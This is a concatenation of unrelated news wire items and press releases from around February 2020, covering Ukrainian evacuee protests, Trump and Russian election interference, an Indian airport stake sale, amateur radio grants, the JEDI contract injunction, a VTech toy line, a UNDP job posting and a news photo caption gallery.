UNIAN reported earlier, Ukrainian journalist Andriy Tsaplienko posted a photo of possible provocateurs in the protests against the arrival of evacuees from the Chinese city of Wuhan, the epicenter of the novel coronavirus outbreak "Ukraine has been discredited," Tsaplienko wrote in a caption to the photo, adding that news footage showing riots against fellow citizens "makes our enemy happy", hinting at Russia. "This very much resembles the scripts of 2014 where the same kind of our fellow citizens were stopping Ukrainian tanks. And it seems that the scriptwriters were the same. It's a shame that in the sixth year of war, we are still so easy to manipulate." President Trump said Friday that a disclosure by American intelligence officials that Russia was again meddling in a presidential election in his favor was merely another partisan campaign against him, dismissing the warning as a hoax cooked up by rivals. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa, Trump tweeted. Hoax number 7! The intelligence assessment, delivered last Thursday to lawmakers on the House Intelligence Committee, determined that Russia is planning to interfere in the 2020 primaries as well as the general election. But the way it was delivered angered some Republicans, and the attendance of Rep. Adam Schiff, D-Burbank, the chairman of the committee who led the impeachment proceedings, particularly angered Trump. The presidents decision to remove Joseph Maguire, the acting director of national intelligence, and install Richard Grenell, the ambassador to Germany and a fervent loyalist, was also seen as a direct outcome of the briefing. On Thursday evening, Trump told reporters aboard Air Force One that Rep. Doug Collins of Georgia, an ally and a vocal opponent of impeachment, was one of the candidates under consideration as a permanent successor. By Friday morning, Collins said he was not interested. Trump has a long history of discarding assessments made by intelligence agencies that he has deemed unfair or unflattering. Multiple intelligence groups have determined that Russia meddled in the 2016 election, and, before the 2018 midterms, delivered warnings that Russia was prepared to do it again. Early in his presidency, Trump grudgingly accepted those assessments before falling back on personal assurances from President Vladimir Putin of Russia. He said he didnt meddle, Trump said in November 2017. I asked him again. You can only ask so many times. Every time he sees me, he says, I didnt do that. And I believe, I really believe, that when he tells me that, he means it. Since then, Trump, with the assistance of his Justice Department, has moved to retaliate against the intelligence community rather than Putin: A federal prosecutor is scrutinizing how the intelligence officials assessed Russias 2016 election interference, targeting the former CIA director John Brennan in particular. On Friday, Trump tweeted that he had a list of four candidates to succeed Grenell, and that he would announce a decision in the coming weeks. Katie Rogers is a New York Times writer. Competition Commission of India has given approval for GMR group's proposed 49 per cent stake sale in its airport business to France's Groupe ADP. The regulator's clearance is through the green channel, which allows for an automatic system for speedy approval of combinations, subject to certain conditions. On Thursday, GMR Infrastructure said the French group would acquire 49 per cent stake in its airport business for Rs 10,780 crore, a deal that will help the domestic entity reduce its debt burden. In a tweet on Friday, the watchdog said it has received "green channel combination filing from Aeroports de Paris SA for acquisition of 49 per cent stake in GMR Airports Ltd and 100 per cent stake in GMR Infra Services Ltd". Applications received under the green channel are deemed approved. Aeroports de Paris SA (ADP) would buy 100 per cent stake in GMR Infra Services Ltd and then 49 per cent shareholding in GMR Airports Ltd (GAL), as per a notice submitted to the regulator. GMR Infra Services is an operating and holding company. Its primary business is to hold shares in GAL, according to the notice. Under a share purchase agreement, Groupe ADP would have 49 per cent stake in GAL for an equity consideration of Rs 10,780 crore. Out of the total amount, Rs 9,780 crore would be towards secondary sale of shares by GMR group and Rs 1,000 crore would be equity infusion in GAL, GMR Infrastructure said in a statement on Thursday. "As part of the terms of transaction, GMR will retain management control over the Airports Business with Groupe ADP having the customary rights and board representation at GAL & its key subsidiaries," it had said. Earlier, GMR group was to enter into a deal with Tatas for the airport business. A GMR group spokesperson confirmed that the deal with Tatas has been called off. GMR Group operates Indira Gandhi International Airport in New Delhi, Hyderabad's Rajiv Gandhi International Airport and Mactan Cebu International Airport in partnership with Megawide in Philippines. Groupe ADP develops and manages airports, including Paris-Charles de Gaulle, Paris-Orly and Paris-Le Bourget. According to the notice that was submitted to the CCI regarding the deal with Groupe ADP, there are no horizontal overlaps, vertical links or complementary businesses between the acquirer and the targets in India. While the acquirer is Groupe ADP, the targets referred in the notice are GMR Infra Services Ltd and GAL. "In the absence of any overlaps between the parties in India, the proposed combination does not raise any risk of adverse effect on competition in India, and is accordingly being submitted through the 'Green Channel' route...," the notice said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Yasme Foundation Grants and Excellence Awards The Board of Directors of The Yasme Foundation announces that it has made the following grants at its board meeting in Orlando, Florida on February 9, 2020: * Ethiopian Amateur Radio Society (ET3AA) for VHF equipment. * Support to the SU8WRC/SU8X demonstration station at the World Radio Conference in Egypt. * YOTA (Youth On The Air) and HamSCI displays at Dayton Hamvention 2020. * Contest University at Dayton Hamvention 2020 - support of audio/visual equipment, student materials (handouts and books), and live internet streaming connections. * Hrvatski Radioamaterski Savez, HRS (Croatian Amateur Radio Association) to support YOTA (Youth On The Air) 2020 Region 1 conference. * * * * * The Yasme Excellence Award is presented to individuals and groups who, through their own service, creativity, effort and dedication, have made a significant contribution to amateur radio. The contribution may be in recognition of technical, operating or organizational achievement, as all three are necessary for amateur radio to grow and prosper. The Yasme Excellence Award is in the form of a cash grant and an individually- engraved crystal globe. The Board of Directors of The Yasme Foundation is pleased to announce the latest recipients of the Yasme Excellence Award: James Sarte, K2QI and Adrian Ciuperca, KO8SCA -- For their efforts in combining the latest state of the art technology, diplomatic skills, persistence, and leadership. Additional help with gathering equipment and logistical support was provided by RA9USU, NT2Y, NT2X, K2LE, and N2UN (SK) culminating in reactivation of the United Nations Club Station 4U1UN. * * * * * The Yasme Foundation is a not-for-profit corporation organized to support scientific and educational projects related to amateur radio, including DXing (long distance communication) and the introduction and promotion of amateur radio in developing countries. For additional information about The Yasme Foundation, visit our website at www.yasme.org. Ward Silver, NAX, President The Yasme Foundation Board of Directors: Ward Silver, NAX, President and Director Ken Claerbout, K4ZW, Vice-President, Secretary and Director Rusty Epps, W6OAT, Treasurer and Director Hans Blondeel Timmerman, PB2T, Director Martti Laine, OH2BH, Director Fred Laun, K3ZO, Director Robert Vallio, W6RGG, Director Marty Woll, N6VI, Director James Brooks, 9V1YC, Director Puducherry Health and Tourism Minister Malladi Krishna Rao on Friday said he would take legal action against Lieutenant Governor Kiran Bedi for allegedly interrupting implementation of developmental schemes decided upon by the elected government ever since she assumed office in 2016. Addressing reporters here, Rao, elected from the lone Yanam constituency, an enclave of the union territory in Andhra Pradesh, to the territorial Assembly, said he would launch legal action against Bedi for allegedly impeding implementation of developmental and welfare schemes of not only his departments but also all other departments. Objecting to Bedi's alleged intimidating attitude towards IAS officers, the Minister said the former IPS officer was targeting the Tamil IAS officers. Referring to the recent findings of the CBI that none of the six officers of the territorial administration had committed any wrong in the selection and admission of students to privately managed medical colleges in 2017, he said, "The six officers had suffered mental agony and depression because of the allegations the Lieutenant Governor had made against them to the CBI through the Medical Council of India. "What is her answer to the harassment the officers had suffered because of her authoritative stance," he asked. Bedi had also sent allegedly adverse reports against 'honest officers' to the Union Home Ministry, he said without disclosing their names. Rao said his departments were not able to implement any centrally sponsored schemes or schemes evolved by the territorial government because of the alleged intervention of Kiran Bedi. "I will never compromise and I have seen several Kiran Bedis in my career and I will file a case against her in the next one week to bring justice to the people and to ensure that the intervention of Bedi does not continue," Rao said. He said the private medical colleges have been earmarking seats under government quota every year only through the negotiations the government was holding with the managements. "We will now pass a Bill in the forthcoming budget session of the assembly to specifically direct the medical colleges to earmark 50 per cent of the total seats in MBBS to government sponsored students and no medical college could play hide-and-seek game," he said. The Bill had been prepared and after a cabinet approval the Bill would be adopted in the House which is likely to have the budget session in the last week of March or early April. He said Bedi has been approaching the government departments in the Central government asking them not to clear any grants for Puducherry. "Should this be the style of functioning of a Lt Governor," he asked. He said Bedi was rejected by the people in the Assembly polls in 2016 in New Delhi and was later appointed to the gubernatorial post. "We are elected by the people and hence the attitude of overbearing on her part would end in a fiasco," he said adding that the Rs 137.28-crore Flood Wall and Soil Erosion Scheme for Yanam had also been stalled by the Lieutenant Governor without any justification. The future of Puducherry would be bleak if Bedi continued to hold the gubernatorial post, he further said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sarasota Realtor Kathleen Comerford, formerly of Keller Williams, launches Icon Premium Realty. SARASOTA, FL / ACCESSWIRE / February 21, 2020 / Kathleen Comerford is thrilled to announce the launch of Icon Premium Realty, a professional real estate company that brings a white glove, boutique level of service that the Sarasota community needs and deserves. Drawing upon her diverse real estate experience that spans brokerage, banking, finance, construction and development, Kathleen is building Icon Premium Realty around the core fundamental principles of relationships, expertise, and dedicated focus. "The goal of many businesses today is to grow big and to grow fast, often at the expense of customer service and professionalism. However, commoditizing customers and their real estate needs can be the unintended outcome of such a strategy. As real estate professionals, we are invited into people's homes and businesses at the most sensitive times of transition. This privilege and opportunity should never be treated as ordinary and great care should be exercised each time," said Kathleen Comerford, broker and team owner of The Comerford Group at Icon Premium Realty. At Icon Premium Realty, it is our mission to make sure that all of our valued customers feel that the service we provide them is focused, customized to their needs and of the highest caliber. In addition to serving the real estate needs of buyers and sellers in their community, Icon Premium Realty gives back through a variety of community and charity partnerships. They are also a proud supporter of Soles4Souls, a nonprofit global social enterprise committed to fighting poverty through the collection and distribution of shoes and clothing. "Kathleen was amazing. She went beyond the call of duty. She was always there through each step of the process by my side with a pleasant disposition and a smile. This was my first home purchase and she made me feel very comfortable through this very complicated experience. She is a great negotiator - really knew how to talk to the seller to get the best possible deal for me and very skilled and savvy in the Florida real estate market," client, Alberto O. noted. About Kathleen Comerford, Icon Premium Realty Icon Premium Realty is an independent boutique real estate brokerage firm whose professionals represent both buyers and sellers in the transfer of residential properties, raw land, new construction, and real estate investments. Icon Premium Realty services Sarasota, Bradenton, Palmetto, the Keys, Lakewood Ranch, Palmer Ranch, Osprey, Nokomis, Venice, Englewood, North Port, Port Charlotte and more. Reach out to discuss any of your Florida real estate needs. For more information, please call 941-257-5050, or visit https://www.iconpremiumrealty.com. Icon Premium Realty is located at 452 South Tamiami Trail, Osprey, FL 34229. For media inquiries, please call THE NALA at 805.650.6121, ext. 361. SOURCE: Kathleen Comerford, Icon Premium Realty View source version on accesswire.com:https://www.accesswire.com/577244/Florida-Realtor-Kathleen-Comerford-Launches-New-Boutique-Real-Estate-Brokerage-in-Sarasota Finance Associate, Juba, South Sudan Organization: UNDP - United Nations Development Programme Country: South Sudan City: Juba Office: UNDP Juba Closing date: Monday, 2 March 2020 Job ID: 28938 Practice Area - Job Family: HIV and Health Vacancy End Date: (Midnight New York, USA) 02/03/2020 Duty Station: Juba, South Sudan Education & Work Experience: C-HS Graduate or Equivalent - 6 year(s) experience Languages: Arabic, English Grade: SB3 Vacancy Type: Service Contract (SC) Posting Type: Common System Bureau: Africa Contract Duration: 12 months Background The Global Fund for AIDS, TB and Malaria has a history of providing grants to the Republic of South Sudan dating back to 2004. UNDP South Sudan currently serves as the Global Fund interim Principal Recipient (PR) for HIV and TB. In order to effectively implement the projects, UNDP has partnered with eight sub-recipients (SRs): 2 Government entities (the Ministry of Health through the National TB Control Programme and the HIV/AIDS/STIs Department, and South Sudan AIDS Commission); 3 UN entities (UNICEF, WHO and IOM); and 3 International NGOs (Cordaid, Arkangelo Ali Association and AMREF). UNDP manages the Global Fund grants under the Additional Safe-Guarding Policy. The policy was initiated by the Global Fund as a result of the challenging operating environment and in efforts to reduce financial risks. As such, UNDP is required to closely oversee sub-recipient programme implementation, monitor and assess the risks and to review the effectiveness of mitigation measures in SR financial and asset management Under the direct supervision and guidance of the Finance Specialist, the Finance Associate ensures effective execution of financial services and processes in the PMU and transparent utilization of financial resources. The Finance Associate promotes a client-oriented approach consistent with UNDP rules and regulations. The Finance Associate works in close collaboration with the operations, programme and projects staff in the PMU and CO staff for resolving finance-related issues and information exchange. Duties and Responsibilities Ensures implementation of operational strategies, adapts processes and procedures focusing on achievement of the following results: Full compliance with UN/UNDP and GFATM rules and regulations of financial processes, financial records and reports and audit follow up; implementation of the effective internal control framework. CO Finance business processes mapping and elaboration of the content of internal Standard Operating Procedures in Finance in consultation with the direct supervisor and office management 2. Ensures administration of budgets and functioning of the optimal cost-recovery system focusing on achievement of the following results: Preparation and modifications of budgets for UNDP development projects, follow-up with HQs on ASL for development projects. Presentation of researched information for planning and status of financial resources of the unit. Regular update on the status of payment of salary support for the Ministry of Health and provision of budget variance analysis to the supervisor. Provision of the weekly financial reports as required by the Finance Specialist for better administration of budget in ATLAS. 3. Provides accounting and administrative support to the GFATM PMU focusing on achievement of the following results: Proper control of the supporting documents for payments and financial reports for NEX/NGO projects; preparation of all types of vouchers, and payments execution including the General Ledger Entries. Maintenance of the internal expenditures control system which ensures that vouchers processed are matched and completed, transactions are correctly recorded and posted in Atlas; payrolls are duly prepared and processed; travel claims, and other entitlements are duly processed Timely follow up and accounts closure including open travel-related case through Travel & Expense module. Timely corrective actions on unposted vouchers, including the vouchers with budget check errors, match exceptions, unapproved vouchers. Timely response to CO and HQ requests to resolve financial data issues. Maintenance of the Accounts Receivables for UNDP projects and follow-up with partners on contributions, deposits creation in Atlas and their application to AR pending items. Periodic liquidation and forecast of prepayment cases. Periodic reconciliation exercise with the frequently used vendors. Proper filing of the documents such as CDRs, Project Budget Revisions, Payment Vouchers, General Ledger Entries 4. Ensures facilitation of knowledge building and knowledge sharing in the CO focusing on achievement of the following results: Organization of trainings for the operations/ projects staff on Finance. Tags asset management communities of practice development projects educational institutions financial resources financial services human rights information exchange knowledge management knowledge sharing malaria office management payroll programme implementation public administration reconciliation skills development trainings Synthesis of lessons learnt and best practices in Finance. Sound contributions to knowledge networks and communities of practice Competencies Knowledge Management and Learning Shares knowledge and experience Encourages office staff to share knowledge and contribute to UNDP Practice Areas Actively works towards continuing personal learning and development in one or more Practice Areas, acts on learning plan and applies newly acquired skills Development and Operational Effectiveness Ability to perform a variety of specialized activities related to financial resources management, including formulating budgets, maintaining Accounts Receivables and Accounts Payables, making transactions, reporting. Sound knowledge of financial rules and regulations, accounting Strong IT skills Ability to provide input to business processes re-engineering, implementation of new system. Leadership and Self-Management Focuses on result for the client Consistently approaches work with energy and a positive, constructive attitude Remains calm, in control and good humored even under pressure Demonstrates openness to change Responds positively to feedback and differing points of view Required Skills and Experience Education : Secondary Education with specialized certification in Accounting and Finance. University Degree in Business or Public Administration would be desirable, but it is not a requirement. Work Experience : 6 years of progressively responsible finance experience is required at the national or international level. Experience in the usage of computers and office software packages (MS Word, Excel, etc) and advance knowledge of spreadsheet and database packages, experience in handling of web-based management systems. Language Requiremnets: Fluency in English Disclaimer Application Procedure: This vacancy announcement is for qualified South Sudanese nationals only To start the application process, applicants are required to register at http://jobs.undp.org by creating a personal profile and completing UNDP Personal History Form. Please note that UNDP only accepts degrees from accredited educational institutions. Only applications received through http://jobs.undp.org will be considered and applications received after closing date will not be considered. Due to the large number of applications received for UNDP South Sudan vacancies, only applicants short-listed for written test and interview will be contacted. General Information UNDP is committed to gender equality in its mandate and its staffs and encourages applications from qualified female candidates and persons with disabilities. UNDP is a United Nations organization whose staff are expected to uphold the highest standards of integrity, neutrality and impartiality. This includes respect for and commitment to human rights, diversity, and non-violent means of dealing with all kinds of conflict. UNDP staff are expected to uphold these values at all times, both at work and outside. Only persons who fully and unconditionally commit to these values should consider applying for UNDP jobs. UNDP has zero tolerance of sexual abuse, abuse of authority and exploitation. The United Nations does not charge fees at any stage of the recruitment process (application, testing, interviewing, etc). The United Nations does not concern itself with information related to bank accounts. Fluency in both spoken and written English Knowledge of Arabic will be an added advantage. A sealed order from a judge today has halted the $10 billion, decade-long JEDI project in its tracks until AWS's protest of the contract award to Microsoft can be heard by the court. The order signed by Judge Patricia E. Campbell-Smith of the U.S. Court Federal Claims stated: The United States, by and through the Department of Defense, its officers, agents, and employees, is hereby PRELIMINARILY ENJOINED from proceeding with contract activities under Contract No. HQ0034-20-D-0001, which was awarded under Solicitation No. HQ0034-18-R-0077, until further order of the court. The judge was not taking this lightly, adding that Amazon would have to put up $42 million bond to cover costs should it prove that the motion was filed wrongfully. Given Amazon's value as of today is $1.08 trillion, they can probably afford to put up the money, but they must provide it by February 20th, and the court gets to hold the funds until a final determination has been made. At the end of last month, Amazon filed a motion to stop work on the project until the court could rule on its protest. It is worth noting that in protests of this sort, it is not unusual to stop work until a final decision on the award can be made. This is all part of an ongoing drama that has gone on for a couple of years since the DoD put this out to bid. After much wrangling, the DoD awarded the contract to Microsoft at the end of October. Amazon filed suit in November, claiming that the president had unduly influenced the process. As we reported in December, at a press conference at AWS re:Invent, the cloud arm's annual customer conference, AWS CEO Andy Jassy made clear the company thought the president had unfairly influenced the procurement process: I would say is that its fairly obvious that we feel pretty strongly that it was not adjudicated fairly, he said. He added, I think that we ended up with a situation where there was political interference. When you have a sitting president, who has shared openly his disdain for a company, and the leader of that company, it makes it really difficult for government agencies, including the DoD, to make objective decisions without fear of reprisal. Story continues Earlier this week, the company filed paperwork to depose the president and Secretary of Defense Mark Esper. The entire statement from the court today halting the JEDI project: Houston Chronicle A disabled Cleveland man died Thursday after being trapped in a house fire, according to a release from the Liberty County Sheriff's Office. The fire took place shortly before noon at a home located at CR 3293 in north Liberty County. The fire originated in the chimney of the home and then quickly spread, according to the release. The victim, identified as 79-year-old Manuel Jesus Rodriguez, was in a back room of the house and unable to escape the fire, despite a "valiant effort" by his son to save him, police said. SACRAMENTO, Calif. (AP) - California has sued the Trump administration to block new rules that would let farmers take more water from the state's rivers. Gov. Gavin Newsom and state Attorney General Xavier Becerra say the new rules would push endangered fish species to extinction. Federal officials say the new rules pledge $1.5 billion to restore habitat for endangered species and improve fish hatcheries. President Donald Trump celebrated the new rules in Bakersfield on Wednesday. The rules govern how much water can be pumped out of the watersheds of the Sacramento and San Joaquin rivers. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- Today VTech announced the introduction of the new Go! Go! Cory Carson toy line, based on the animated preschool series, available on Netflix. Inspired by VTech's award-winning Go! Go! Smart Wheels line, Go! Go! Cory Carson follows the adventures of kid car Cory Carson, his family and his friends in Bumperton Hills as they navigate the winding roads of childhood. The new toy line is on display at the 2020 North American International Toy Fair. "Animation has brought our Go! Go! Smart Wheels line to life in a brand-new way," said Andy Keimach, President, VTech Electronics North America. "Now, we get to bring the world of Go! Go! Cory Carson to kids with fun new toys featuring characters and locations they will recognize from the show." The new Go! Go! Cory Carson toy line (2 years and up) lets kids create their own adventures with Cory and his friends, with vehicles based on the show's characters, and playsets inspired by popular scenes from the show, such as going on a rescue mission at Freddie's Firehouse. The products offer the engaging play experiences Go! Go! Smart Wheels toys are known for, using technology that brings vehicles to life with fun sounds, phrases and songs, and deliver multi-sensory learning to maximize fun. Playtime is made even more exciting by encouraging pretend play tied to the Go! Go! Cory Carson show. The Go! Go! Cory Carson line is debuting at Toy Fair and will be available starting in March, exclusively at Target. Additional playsets and vehicles will be launching this fall at retailers nationwide. For more information, visit www.vtechkids.com/corycarson. Highlights from the line include: Go! Go! Cory Carson SmartPoint Characters: You're going to love going on adventures with these characters in Bumperton Hills just like in the Netflix original series, Go! Go! Cory Carson. Press the light-up windshield button to hear the character talk. They can tell you about a color and play four sing-along songs and six melodies. Press the action button on the character's side for fun movement and sounds or roll it along for more phrases, sound effects and music. Place the character on a SmartPoint location on Go! Go! Cory Carson playsets (sold separately) to discover even more phrases, songs and sounds. Characters available (sold separately) include Cory, Freddie, Halle, Frannie, Kimmy and Timmy. (Available Spring 2020) Go! Go! Cory Carson SmartPoint Cory & Chrissy: I'm Cory, Cory Carson, and this is my little sister Chrissy! You're going to love going on adventures with us in Bumperton Hills just like in my Netflix original series, Go! Go! Cory Carson. We'll have so much fun together. My little sister likes to tag around with me everywhere, and now she can. Put Chrissy on my head to hear us talk to each other and sing songs for more role-play fun. Press my light-up windshield button to hear me talk. I'll tell you about the colors orange and green, and play three sing-along songs and six melodies. Pushing me around triggers fun sound effects, too. Place me on a SmartPoint location and Chrissy on a PlayZone location on Go! Go! Cory Carson playsets (sold separately) to discover even more phrases, songs and sounds. Let's go! (Available Spring 2020) Go! Go! Cory Carson Freddie's Firehouse: Go on a rescue mission with Freddie Firetruck and Chrissy Carson at the Go! Go! Cory Carson Freddie's Firehouse just like in the Netflix original series, Go! Go! Cory Carson. Freddie's mom Carolyn Firetruck encourages exploration of all the exciting activities the firehouse has to offer with mini characters Freddie and Chrissy in this electronic playset. Help Freddie and Chrissy rescue Phil just like in the show. Race down the slide to answer the call, then activate the PlayZone location at the bottom to hear each character say unique phrases. Place any SmartPoint character (sold separately) on the SmartPoint location at the firehouse door to hear them talk, play music and see them light up. Help save the day. (Available Spring 2020) Go! Go! Cory Carson DJ Train Trax & the Roll Train: Get ready to dance with Cory, Chrissy and DJ Train Trax & the Roll Train just like in the Netflix original series, Go! Go! Cory Carson! Keep on moving with Roll Train host DJ Train Trax and play mixmaster with mini characters Cory Carson and Chrissy Carson on this electronic playset. Help Cory and Chrissy dance on stage or roll DJ Train Trax to light up his rainbow chimney while listening to sounds and phrases from the show. Place Cory and Chrissy on the stage to watch them light up, do "The Chrissy" and hear them interact with DJ Train Trax. Activate the PlayZone location on the stage to hear each of them say unique phrases. Press DJ Train Trax's hat or move him around to trigger phrases, sounds, songs and special lighting effects. Place any SmartPoint character (sold separately) on the SmartPoint location in the DJ booth to hear them talk, play music and see them light up. Wicky-wicky, woo-woo! (Available Spring 2020) Go! Go! Cory Carson Cory's Stay & Play Home: Welcome to the Go! Go! Cory Carson Cory's Stay & Play Home, just like in the Netflix original series, Go! Go! Cory Carson. Explore every room in this electronic playset with the included Cory, Chrissy and Mama Carson mini characters. This house is built just for cars with features like ramps instead of stairs, a garage front door, a pretend bathtub car wash and much more. Hang out in Cory's room and place mini characters on the PlayZone location to hear unique phrases, sing-along songs and sounds. Slide down the ramp for a snack in the kitchen or try to get Chrissy to take a bath just like in the show. The home also features lights, sounds, music and phrases from your favorite characters. Place any SmartPoint character (sold separately) on the SmartPoint location at the front door to hear them talk, play music and light up. C'mon, let's go! (Available Fall 2020) About VTech VTech is a world leader in age-appropriate and developmental stage-based electronic learning products for children. As a pioneer in the learning toy category, VTech develops high-quality, innovative educational products that enrich children's development and make learning fun. With a rich 40 year history, VTech has not only established itself as a learning authority but also consistently remains at the forefront of innovation with multiple award-winning products, including prestigious Toy of the Year (TOTY) Award winners. The company also has a broad range of award-winning infant, toddler and preschool products available in 31 different languages worldwide, with more than 100 new products introduced every year. In order to further strengthen VTech's position as a learning authority, new products are developed with critical insights from a dedicated team of in-house learning experts. VTech Electronics North America, L.L.C. is based in Arlington Heights, Illinois. VTech Electronics Limited is headquartered in Hong Kong with distribution globally. For more information about VTech's electronic learning products, visit www.VTechKids.com, www.facebook.com/VTechtoys on Facebook or follow @VTechToys on Twitter. Media Contact: Nicole Francisco Coyne Public Relations 973-588-2000 [email protected] SOURCE VTech Michael Bloomberg will release three women who have Non-Disclosure Agreements against him, his campaign team announced today. The billionaire candidate running to become the Democratic candidate for president has come under fire for his history of legal agreements with former female staff members. He tweeted out a statement confirming that he would release the women from the arrangement, if they request it. "Ive had the company go back over its record and theyve identified 3 NDAs that we signed over the past 30-plus years with women to address complaints about comments they said I had made," the statement said. "If any of them want to be released from their NDA so that they can talk about those allegations, they should contact the company and theyll be given a release. Ive done a lot of reflecting on this issue over the past few days and Ive decided that for as long as Im running the company, we wont offer confidentiality agreements to resolve claims of sexual harassment or misconduct going forward. World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 